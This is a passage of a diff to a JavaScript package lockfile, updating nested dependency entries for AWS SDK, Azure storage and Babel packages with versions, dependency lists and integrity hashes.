- "@aws-sdk/middleware-ssec/@smithy/types": ["@smithy/types@4.13.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-COuLsZILbbQsdrwKQpkkpyep7lCsByxwj7m0Mg5v66/ZTyenlfBc40/QFQ5chO0YN/PNEH1Bi3fGtfXPnYNeDw=="],
+ "@aws-sdk/nested-clients/@smithy/middleware-content-length": ["@smithy/middleware-content-length@4.2.6", "", { "dependencies": { "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-0cjqjyfj+Gls30ntq45SsBtqF3dfJQCeqQPyGz58Pk8OgrAr5YiB7ZvDzjCA94p4r6DCI4qLm7FKobqBjf515w=="],
- "@aws-sdk/middleware-websocket/@aws-sdk/util-format-url": ["@aws-sdk/util-format-url@3.972.8", "", { "dependencies": { "@aws-sdk/types": "^3.973.6", "@smithy/querystring-builder": "^4.2.12", "@smithy/types": "^4.13.1", "tslib": "^2.6.2" } }, "sha512-J6DS9oocrgxM8xlUTTmQOuwRF6rnAGEujAN9SAzllcrQmwn5iJ58ogxy3SEhD0Q7JZvlA5jvIXBkpQRqEqlE9A=="],
+ "@aws-sdk/nested-clients/@smithy/middleware-endpoint": ["@smithy/middleware-endpoint@4.4.0", "", { "dependencies": { "@smithy/core": "^3.19.0", "@smithy/middleware-serde": "^4.2.7", "@smithy/node-config-provider": "^4.3.6", "@smithy/shared-ini-file-loader": "^4.4.1", "@smithy/types": "^4.10.0", "@smithy/url-parser": "^4.2.6", "@smithy/util-middleware": "^4.2.6", "tslib": "^2.6.2" } }, "sha512-M6qWfUNny6NFNy8amrCGIb9TfOMUkHVtg9bHtEFGRgfH7A7AtPpn/fcrToGPjVDK1ECuMVvqGQOXcZxmu9K+7A=="],
- "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region": ["@aws-sdk/signature-v4-multi-region@3.758.0", "", { "dependencies": { "@aws-sdk/middleware-sdk-s3": "3.758.0", "@aws-sdk/types": "3.734.0", "@smithy/protocol-http": "^5.0.1", "@smithy/signature-v4": "^5.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-0RPCo8fYJcrenJ6bRtiUbFOSgQ1CX/GpvwtLU2Fam1tS9h2klKK8d74caeV6A1mIUvBU7bhyQ0wMGlwMtn3EYw=="],
+ "@aws-sdk/nested-clients/@smithy/middleware-retry": ["@smithy/middleware-retry@4.4.16", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.6", "@smithy/protocol-http": "^5.3.6", "@smithy/service-error-classification": "^4.2.6", "@smithy/smithy-client": "^4.10.1", "@smithy/types": "^4.10.0", "@smithy/util-middleware": "^4.2.6", "@smithy/util-retry": "^4.2.6", "@smithy/uuid": "^1.1.0", "tslib": "^2.6.2" } }, "sha512-XPpNhNRzm3vhYm7YCsyw3AtmWggJbg1wNGAoqb7NBYr5XA5isMRv14jgbYyUV6IvbTBFZQdf2QpeW43LrRdStQ=="],
- "@aws-sdk/s3-request-presigner/@aws-sdk/types": ["@aws-sdk/types@3.734.0", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-o11tSPTT70nAkGV1fN9wm/hAIiLPyWX6SuGf+9JyTp7S/rC2cFWhR26MvA69nplcjNaXVzB0f+QFrLXXjOqCrg=="],
+ "@aws-sdk/nested-clients/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.7", "", { "dependencies": { "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-PFMVHVPgtFECeu4iZ+4SX6VOQT0+dIpm4jSPLLL6JLSkp9RohGqKBKD0cbiXdeIFS08Forp0UHI6kc0gIHenSA=="],
- "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint": ["@smithy/middleware-endpoint@4.0.6", "", { "dependencies": { "@smithy/core": "^3.1.5", "@smithy/middleware-serde": "^4.0.2", "@smithy/node-config-provider": "^4.0.1", "@smithy/shared-ini-file-loader": "^4.0.1", "@smithy/types": "^4.1.0", "@smithy/url-parser": "^4.0.1", "@smithy/util-middleware": "^4.0.1", "tslib": "^2.6.2" } }, "sha512-ftpmkTHIFqgaFugcjzLZv3kzPEFsBFSnq1JsIkr2mwFzCraZVhQk2gqN51OOeRxqhbPTkRFj39Qd2V91E/mQxg=="],
+ "@aws-sdk/nested-clients/@smithy/middleware-stack": ["@smithy/middleware-stack@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-JSbALU3G+JS4kyBZPqnJ3hxIYwOVRV7r9GNQMS6j5VsQDo5+Es5nddLfr9TQlxZLNHPvKSh+XSB0OuWGfSWFcA=="],
- "@aws-sdk/s3-request-presigner/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="],
+ "@aws-sdk/nested-clients/@smithy/node-config-provider": ["@smithy/node-config-provider@4.3.6", "", { "dependencies": { "@smithy/property-provider": "^4.2.6", "@smithy/shared-ini-file-loader": "^4.4.1", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-fYEyL59Qe82Ha1p97YQTMEQPJYmBS+ux76foqluaTVWoG9Px5J53w6NvXZNE3wP7lIicLDF7Vj1Em18XTX7fsA=="],
- "@aws-sdk/s3-request-presigner/@smithy/smithy-client": ["@smithy/smithy-client@4.1.6", "", { "dependencies": { "@smithy/core": "^3.1.5", "@smithy/middleware-endpoint": "^4.0.6", "@smithy/middleware-stack": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/types": "^4.1.0", "@smithy/util-stream": "^4.1.2", "tslib": "^2.6.2" } }, "sha512-UYDolNg6h2O0L+cJjtgSyKKvEKCOa/8FHYJnBobyeoeWDmNpXjwOAtw16ezyeu1ETuuLEOZbrynK0ZY1Lx9Jbw=="],
+ "@aws-sdk/nested-clients/@smithy/protocol-http": ["@smithy/protocol-http@5.3.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-qLRZzP2+PqhE3OSwvY2jpBbP0WKTZ9opTsn+6IWYI0SKVpbG+imcfNxXPq9fj5XeaUTr7odpsNpK6dmoiM1gJQ=="],
- "@aws-sdk/s3-request-presigner/@smithy/types": ["@smithy/types@4.8.1", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-N0Zn0OT1zc+NA+UVfkYqQzviRh5ucWwO7mBV3TmHHprMnfcJNfhlPicDkBHi0ewbh+y3evR6cNAW0Raxvb01NA=="],
+ "@aws-sdk/nested-clients/@smithy/smithy-client": ["@smithy/smithy-client@4.10.1", "", { "dependencies": { "@smithy/core": "^3.19.0", "@smithy/middleware-endpoint": "^4.4.0", "@smithy/middleware-stack": "^4.2.6", "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "@smithy/util-stream": "^4.5.7", "tslib": "^2.6.2" } }, "sha512-1ovWdxzYprhq+mWqiGZlt3kF69LJthuQcfY9BIyHx9MywTFKzFapluku1QXoaBB43GCsLDxNqS+1v30ure69AA=="],
- "@aws-sdk/signature-v4-multi-region/@aws-sdk/types": ["@aws-sdk/types@3.973.5", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-hl7BGwDCWsjH8NkZfx+HgS7H2LyM2lTMAI7ba9c8O0KqdBLTdNJivsHpqjg9rNlAlPyREb6DeDRXUl0s8uFdmQ=="],
+ "@aws-sdk/nested-clients/@smithy/types": ["@smithy/types@4.10.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-K9mY7V/f3Ul+/Gz4LJANZ3vJ/yiBIwCyxe0sPT4vNJK63Srvd+Yk1IzP0t+nE7XFSpIGtzR71yljtnqpUTYFlQ=="],
- "@aws-sdk/signature-v4-multi-region/@smithy/protocol-http": ["@smithy/protocol-http@5.3.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-hI+barOVDJBkNt4y0L2mu3Ugc0w7+BpJ2CZuLwXtSltGAAwCb3IvnalGlbDV/UCS6a9ZuT3+exd1WxNdLb5IlQ=="],
+ "@aws-sdk/nested-clients/@smithy/url-parser": ["@smithy/url-parser@4.2.6", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-tVoyzJ2vXp4R3/aeV4EQjBDmCuWxRa8eo3KybL7Xv4wEM16nObYh7H1sNfcuLWHAAAzb0RVyxUz1S3sGj4X+Tg=="],
- "@aws-sdk/signature-v4-multi-region/@smithy/signature-v4": ["@smithy/signature-v4@5.3.11", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.2", "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "@smithy/util-hex-encoding": "^4.2.2", "@smithy/util-middleware": "^4.2.11", "@smithy/util-uri-escape": "^4.2.2", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-V1L6N9aKOBAN4wEHLyqjLBnAz13mtILU0SeDrjOaIZEeN6IFa6DxwRt1NNpOdmSpQUfkBj0qeD3m6P77uzMhgQ=="],
+ "@aws-sdk/nested-clients/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="],
- "@aws-sdk/signature-v4-multi-region/@smithy/types": ["@smithy/types@4.13.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-COuLsZILbbQsdrwKQpkkpyep7lCsByxwj7m0Mg5v66/ZTyenlfBc40/QFQ5chO0YN/PNEH1Bi3fGtfXPnYNeDw=="],
+ "@aws-sdk/nested-clients/@smithy/util-body-length-browser": ["@smithy/util-body-length-browser@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-Fkoh/I76szMKJnBXWPdFkQJl2r9SjPt3cMzLdOB6eJ4Pnpas8hVoWPYemX/peO0yrrvldgCUVJqOAjUrOLjbxg=="],
- "@aws-sdk/token-providers/@smithy/property-provider": ["@smithy/property-provider@4.2.12", "", { "dependencies": { "@smithy/types": "^4.13.1", "tslib": "^2.6.2" } }, "sha512-jqve46eYU1v7pZ5BM+fmkbq3DerkSluPr5EhvOcHxygxzD05ByDRppRwRPPpFrsFo5yDtCYLKu+kreHKVrvc7A=="],
+ "@aws-sdk/nested-clients/@smithy/util-body-length-node": ["@smithy/util-body-length-node@4.2.1", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-h53dz/pISVrVrfxV1iqXlx5pRg3V2YWFcSQyPyXZRrZoZj4R4DeWRDo1a7dd3CPTcFi3kE+98tuNyD2axyZReA=="],
- "@aws-sdk/util-format-url/@aws-sdk/types": ["@aws-sdk/types@3.734.0", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-o11tSPTT70nAkGV1fN9wm/hAIiLPyWX6SuGf+9JyTp7S/rC2cFWhR26MvA69nplcjNaXVzB0f+QFrLXXjOqCrg=="],
+ "@aws-sdk/nested-clients/@smithy/util-defaults-mode-browser": ["@smithy/util-defaults-mode-browser@4.3.15", "", { "dependencies": { "@smithy/property-provider": "^4.2.6", "@smithy/smithy-client": "^4.10.1", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-LiZQVAg/oO8kueX4c+oMls5njaD2cRLXRfcjlTYjhIqmwHnCwkQO5B3dMQH0c5PACILxGAQf6Mxsq7CjlDc76A=="],
+
+ "@aws-sdk/nested-clients/@smithy/util-defaults-mode-node": ["@smithy/util-defaults-mode-node@4.2.18", "", { "dependencies": { "@smithy/config-resolver": "^4.4.4", "@smithy/credential-provider-imds": "^4.2.6", "@smithy/node-config-provider": "^4.3.6", "@smithy/property-provider": "^4.2.6", "@smithy/smithy-client": "^4.10.1", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-Kw2J+KzYm9C9Z9nY6+W0tEnoZOofstVCMTshli9jhQbQCy64rueGfKzPfuFBnVUqZD9JobxTh2DzHmPkp/Va/Q=="],
+
+ "@aws-sdk/nested-clients/@smithy/util-endpoints": ["@smithy/util-endpoints@3.2.6", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-v60VNM2+mPvgHCBXEfMCYrQ0RepP6u6xvbAkMenfe4Mi872CqNkJzgcnQL837e8NdeDxBgrWQRTluKq5Lqdhfg=="],
+
+ "@aws-sdk/nested-clients/@smithy/util-middleware": ["@smithy/util-middleware@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-qrvXUkxBSAFomM3/OEMuDVwjh4wtqK8D2uDZPShzIqOylPst6gor2Cdp6+XrH4dyksAWq/bE2aSDYBTTnj0Rxg=="],
+
+ "@aws-sdk/nested-clients/@smithy/util-retry": ["@smithy/util-retry@4.2.6", "", { "dependencies": { "@smithy/service-error-classification": "^4.2.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-x7CeDQLPQ9cb6xN7fRJEjlP9NyGW/YeXWc4j/RUhg4I+H60F0PEeRc2c/z3rm9zmsdiMFzpV/rT+4UHW6KM1SA=="],
+
+ "@aws-sdk/nested-clients/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
+
+ "@aws-sdk/token-providers/@aws-sdk/core": ["@aws-sdk/core@3.947.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@aws-sdk/xml-builder": "3.930.0", "@smithy/core": "^3.18.7", "@smithy/node-config-provider": "^4.3.5", "@smithy/property-provider": "^4.2.5", "@smithy/protocol-http": "^5.3.5", "@smithy/signature-v4": "^5.3.5", "@smithy/smithy-client": "^4.9.10", "@smithy/types": "^4.9.0", "@smithy/util-base64": "^4.3.0", "@smithy/util-middleware": "^4.2.5", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Khq4zHhuAkvCFuFbgcy3GrZTzfSX7ZIjIcW1zRDxXRLZKRtuhnZdonqTUfaWi5K42/4OmxkYNpsO7X7trQOeHw=="],
+
+ "@aws-sdk/token-providers/@aws-sdk/types": ["@aws-sdk/types@3.936.0", "", { "dependencies": { "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-uz0/VlMd2pP5MepdrHizd+T+OKfyK4r3OA9JI+L/lPKg0YFQosdJNCKisr6o70E3dh8iMpFYxF1UN/4uZsyARg=="],
+
+ "@aws-sdk/token-providers/@smithy/property-provider": ["@smithy/property-provider@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-a/tGSLPtaia2krbRdwR4xbZKO8lU67DjMk/jfY4QKt4PRlKML+2tL/gmAuhNdFDioO6wOq0sXkfnddNFH9mNUA=="],
+
+ "@aws-sdk/token-providers/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.4.1", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-tph+oQYPbpN6NamF030hx1gb5YN2Plog+GLaRHpoEDwp8+ZPG26rIJvStG9hkWzN2HBn3HcWg0sHeB0tmkYzqA=="],
+
+ "@aws-sdk/token-providers/@smithy/types": ["@smithy/types@4.10.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-K9mY7V/f3Ul+/Gz4LJANZ3vJ/yiBIwCyxe0sPT4vNJK63Srvd+Yk1IzP0t+nE7XFSpIGtzR71yljtnqpUTYFlQ=="],
"@aws-sdk/util-format-url/@smithy/querystring-builder": ["@smithy/querystring-builder@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-uri-escape": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-wU87iWZoCbcqrwszsOewEIuq+SU2mSoBE2CcsLwE0I19m0B2gOJr1MVjxWcDQYOzHbR1xCk7AcOBbGFUYOKvdg=="],
- "@aws-sdk/util-format-url/@smithy/types": ["@smithy/types@4.8.1", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-N0Zn0OT1zc+NA+UVfkYqQzviRh5ucWwO7mBV3TmHHprMnfcJNfhlPicDkBHi0ewbh+y3evR6cNAW0Raxvb01NA=="],
-
"@azure/core-http-compat/@azure/abort-controller": ["@azure/abort-controller@1.1.0", "", { "dependencies": { "tslib": "^2.2.0" } }, "sha512-TrRLIoSQVzfAJX9H1JeFjzAoDGcoK1IYX1UImfceTZpsyYfWr09Ss1aHW1y5TrrR3iq6RZLBwJ3E24uwPhwahw=="],
- "@azure/storage-blob/@azure/core-http-compat": ["@azure/core-http-compat@2.3.2", "", { "dependencies": { "@azure/abort-controller": "^2.1.2" }, "peerDependencies": { "@azure/core-client": "^1.10.0", "@azure/core-rest-pipeline": "^1.22.0" } }, "sha512-Tf6ltdKzOJEgxZeWLCjMxrxbodB/ZeCbzzA1A2qHbhzAjzjHoBVSUeSl/baT/oHAxhc4qdqVaDKnc2+iE932gw=="],
-
- "@azure/storage-blob/@azure/core-paging": ["@azure/core-paging@1.6.2", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-YKWi9YuCU04B55h25cnOYZHxXYtEvQEbKST5vqRga7hWY9ydd3FZHdeQF8pyh+acWZvppw13M/LMGx0LABUVMA=="],
-
- "@azure/storage-blob/@azure/logger": ["@azure/logger@1.3.0", "", { "dependencies": { "@typespec/ts-http-runtime": "^0.3.0", "tslib": "^2.6.2" } }, "sha512-fCqPIfOcLE+CGqGPd66c8bZpwAji98tZ4JI9i/mlTNTlsIWslCfpg48s/ypyLxZTump5sypjrKn2/kY7q8oAbA=="],
-
- "@azure/storage-common/@azure/core-http-compat": ["@azure/core-http-compat@2.3.2", "", { "dependencies": { "@azure/abort-controller": "^2.1.2" }, "peerDependencies": { "@azure/core-client": "^1.10.0", "@azure/core-rest-pipeline": "^1.22.0" } }, "sha512-Tf6ltdKzOJEgxZeWLCjMxrxbodB/ZeCbzzA1A2qHbhzAjzjHoBVSUeSl/baT/oHAxhc4qdqVaDKnc2+iE932gw=="],
-
- "@azure/storage-common/@azure/logger": ["@azure/logger@1.3.0", "", { "dependencies": { "@typespec/ts-http-runtime": "^0.3.0", "tslib": "^2.6.2" } }, "sha512-fCqPIfOcLE+CGqGPd66c8bZpwAji98tZ4JI9i/mlTNTlsIWslCfpg48s/ypyLxZTump5sypjrKn2/kY7q8oAbA=="],
-
- "@babel/core/@babel/helper-compilation-targets": ["@babel/helper-compilation-targets@7.28.6", "", { "dependencies": { "@babel/compat-data": "^7.28.6", "@babel/helper-validator-option": "^7.27.1", "browserslist": "^4.24.0", "lru-cache": "^5.1.1", "semver": "^6.3.1" } }, "sha512-JYtls3hqi15fcx5GaSNL7SCTJ2MNmjrkHXg4FSpOA/grxK8KwyZ5bubHsCq8FXCkua6xhuaaBit+3b7+VZRfcA=="],
+ "@azure/core-xml/fast-xml-parser": ["fast-xml-parser@5.0.9", "", { "dependencies": { "strnum": "^2.0.5" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-2mBwCiuW3ycKQQ6SOesSB8WeF+fIGb6I/GG5vU5/XEptwFFhp9PE8b9O7fbs2dpq9fXn4ULR3UsfydNUCntf5A=="],
"@babel/generator/@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="],
- "@babel/helper-annotate-as-pure/@babel/types": ["@babel/types@7.28.5", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA=="],
-
"@babel/helper-compilation-targets/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="],
"@babel/helper-compilation-targets/lru-cache": ["lru-cache@5.1.1", "", { "dependencies": { "yallist": "^3.0.2" } }, "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w=="],
- "@babel/helper-create-class-features-plugin/@babel/traverse": ["@babel/traverse@7.28.5", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/generator": "^7.28.5", "@babel/helper-globals": "^7.28.0", "@babel/parser": "^7.28.5", "@babel/template": "^7.27.2", "@babel/types": "^7.28.5", "debug": "^4.3.1" } }, "sha512-TCCj4t55U90khlYkVV/0TfkJkAkUg3jZFA3Neb7unZT8CPok7iiRfaX0F+WnqWqt7OxhOn0uBKXCw4lbL8W0aQ=="],
+ "@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.8", "", { "dependencies": { "is-core-module": "^2.13.0", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": "bin/resolve" }, "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw=="],
- "@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.25.9", "", { "dependencies": { "@babel/types": "^7.25.9" } }, "sha512-gv7320KBUFJz1RnylIg5WWYPRXKZ884AGkYpgpWW02TH66Dl+HaC1t1CKd0z3R4b6hdYEcmrNZHUmfCP+1u3/g=="],
+ "@babel/plugin-transform-classes/globals": ["globals@11.12.0", "", {}, "sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA=="],
- "@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.11", "", { "dependencies": { "is-core-module": "^2.16.1", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": { "resolve": "bin/resolve" } }, "sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ=="],
-
- "@babel/helper-member-expression-to-functions/@babel/traverse": ["@babel/traverse@7.28.5", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/generator": "^7.28.5", "@babel/helper-globals": "^7.28.0", "@babel/parser": "^7.28.5", "@babel/template": "^7.27.2", "@babel/types": "^7.28.5", "debug": "^4.3.1" } }, "sha512-TCCj4t55U90khlYkVV/0TfkJkAkUg3jZFA3Neb7unZT8CPok7iiRfaX0F+WnqWqt7OxhOn0uBKXCw4lbL8W0aQ=="],
-
- "@babel/helper-member-expression-to-functions/@babel/types": ["@babel/types@7.28.5", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA=="],
-
- "@babel/helper-module-imports/@babel/traverse": ["@babel/traverse@7.28.5", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/generator": "^7.28.5", "@babel/helper-globals": "^7.28.0", "@babel/parser": "^7.28.5", "@babel/template": "^7.27.2", "@babel/types": "^7.28.5", "debug": "^4.3.1" } }, "sha512-TCCj4t55U90khlYkVV/0TfkJkAkUg3jZFA3Neb7unZT8CPok7iiRfaX0F+WnqWqt7OxhOn0uBKXCw4lbL8W0aQ=="],
-
- "@babel/helper-module-imports/@babel/types": ["@babel/types@7.28.5", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA=="],
-
- "@babel/helper-module-transforms/@babel/helper-module-imports": ["@babel/helper-module-imports@7.28.6", "", { "dependencies": { "@babel/traverse": "^7.28.6", "@babel/types": "^7.28.6" } }, "sha512-l5XkZK7r7wa9LucGw9LwZyyCUscb4x37JWTPz7swwFE/0FMQAGpiWUZn8u9DzkSBWEcK25jmvubfpw2dnAMdbw=="],
-
- "@babel/helper-optimise-call-expression/@babel/types": ["@babel/types@7.28.5", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA=="],
-
- "@babel/helper-remap-async-to-generator/@babel/traverse": ["@babel/traverse@7.28.5", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/generator": "^7.28.5", "@babel/helper-globals": "^7.28.0", "@babel/parser": "^7.28.5", "@babel/template": "^7.27.2", "@babel/types": "^7.28.5", "debug": "^4.3.1" } }, "sha512-TCCj4t55U90khlYkVV/0TfkJkAkUg3jZFA3Neb7unZT8CPok7iiRfaX0F+WnqWqt7OxhOn0uBKXCw4lbL8W0aQ=="],
-
- "@babel/helper-replace-supers/@babel/traverse": ["@babel/traverse@7.28.5", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/generator": "^7.28.5", "@babel/helper-globals": "^7.28.0", "@babel/parser": "^7.28.5", "@babel/template": "^7.27.2", "@babel/types": "^7.28.5", "debug": "^4.3.1" } }, "sha512-TCCj4t55U90khlYkVV/0TfkJkAkUg3jZFA3Neb7unZT8CPok7iiRfaX0F+WnqWqt7OxhOn0uBKXCw4lbL8W0aQ=="],
-
- "@babel/helper-skip-transparent-expression-wrappers/@babel/traverse": ["@babel/traverse@7.28.5", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/generator": "^7.28.5", "@babel/helper-globals": "^7.28.0", "@babel/parser": "^7.28.5", "@babel/template": "^7.27.2", "@babel/types": "^7.28.5", "debug": "^4.3.1" } }, "sha512-TCCj4t55U90khlYkVV/0TfkJkAkUg3jZFA3Neb7unZT8CPok7iiRfaX0F+WnqWqt7OxhOn0uBKXCw4lbL8W0aQ=="],
-
- "@babel/helper-skip-transparent-expression-wrappers/@babel/types": ["@babel/types@7.28.5", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA=="],
-
- "@babel/helper-wrap-function/@babel/template": ["@babel/template@7.27.2", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/parser": "^7.27.2", "@babel/types": "^7.27.1" } }, "sha512-LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw=="],
-
- "@babel/helper-wrap-function/@babel/traverse": ["@babel/traverse@7.28.5", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/generator": "^7.28.5", "@babel/helper-globals": "^7.28.0", "@babel/parser": "^7.28.5", "@babel/template": "^7.27.2", "@babel/types": "^7.28.5", "debug": "^4.3.1" } }, "sha512-TCCj4t55U90khlYkVV/0TfkJkAkUg3jZFA3Neb7unZT8CPok7iiRfaX0F+WnqWqt7OxhOn0uBKXCw4lbL8W0aQ=="],
-
- "@babel/helper-wrap-function/@babel/types": ["@babel/types@7.28.5", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA=="],
-
- "@babel/plugin-bugfix-firefox-class-in-computed-class-key/@babel/traverse": ["@babel/traverse@7.28.5", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/generator": "^7.28.5", "@babel/helper-globals": "^7.28.0", "@babel/parser": "^7.28.5", "@babel/template": "^7.27.2", "@babel/types": "^7.28.5", "debug": "^4.3.1" } }, "sha512-TCCj4t55U90khlYkVV/0TfkJkAkUg3jZFA3Neb7unZT8CPok7iiRfaX0F+WnqWqt7OxhOn0uBKXCw4lbL8W0aQ=="],
-
